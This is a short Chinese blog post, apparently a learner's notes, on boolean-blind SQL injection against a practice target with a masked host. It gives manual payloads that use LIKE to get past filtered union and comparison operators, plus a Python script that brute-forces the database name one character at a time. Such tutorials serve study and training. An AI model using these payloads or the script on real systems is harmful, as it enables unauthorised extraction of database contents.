sql 布尔盲注 python脚本实现

来源:互联网 发布:匿名者黑页源码 编辑:程序博客网 时间:2024/05/16 04:54

渣渣一枚,把学习sql注入过程中遇到的一些问题记录下来,以供日后参考。
按照网上教程注入时发现过滤了union = < > ,顿时就一脸懵逼,因为不会构造sql语句,更不会绕过,最后在师父的指导下,首先通过手工注入,注入出了数据库名及长度。
1.数据库名长度:
http://XXX.XXX.XX/sql.php? id=345’ and length(database()) like 1 and ‘1’ like ‘1,构造语句为and length(database()) like 1 and ‘1’ like ‘1,手工注入时只要改like 后面的1就行了。
2.数据库名:
再注入数据库名,构造语句为http://XXX.XXX.XX/sql.php ? id=345’ and (ascii(substr(database(),1,1))) like 115 and ‘1’ like ‘1 ,修改like后面的ascii字符值,及database()后的1,逐个注入出数据库名。
3.用python实现:
在网上搜了代码,试了好久不行,最后发现是python判断条件不一样,原文中是通过返回字符串长度来判断是否注入成功的,而我的题目是通过判断返回页面上有无‘test’来判断是否注入成功,于是转换思路,利用正则表达式,爬虫读取并匹配页面是否有test,若有则说明成功注入。代码如下:

import requestsimport re def getDBName(DBName_len):      DBName = ""      url_template = "http://XXX.XXX.XX/sql.php ? id=345' and (ascii(substr(database(),{0},1))) like {1} and '1' like '1"      chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'      print("Start to retrieve database name...")      for i in range( 1, DBName_len + 1):          print("Number of letter: " , i)          tempDBName = DBName          for char in chars:              print("Test letter " + char)              char_ascii = ord(char)              url = url_template.format(i, char_ascii)              response = requests.get(url)            pattern = re.compile(r'test')            match = pattern.search(response.text)            if match:                DBName += char                  print("DBName is: " + DBName + "...")                  break        if tempDBName == DBName:              print("Letters too little! Program ended." )              exit()      print("Retrieve completed! DBName is: " + DBName)  getDBName(6)   

至此,算是勉强完成了师父的任务,渣渣仍需奋斗,加油!

原创粉丝点击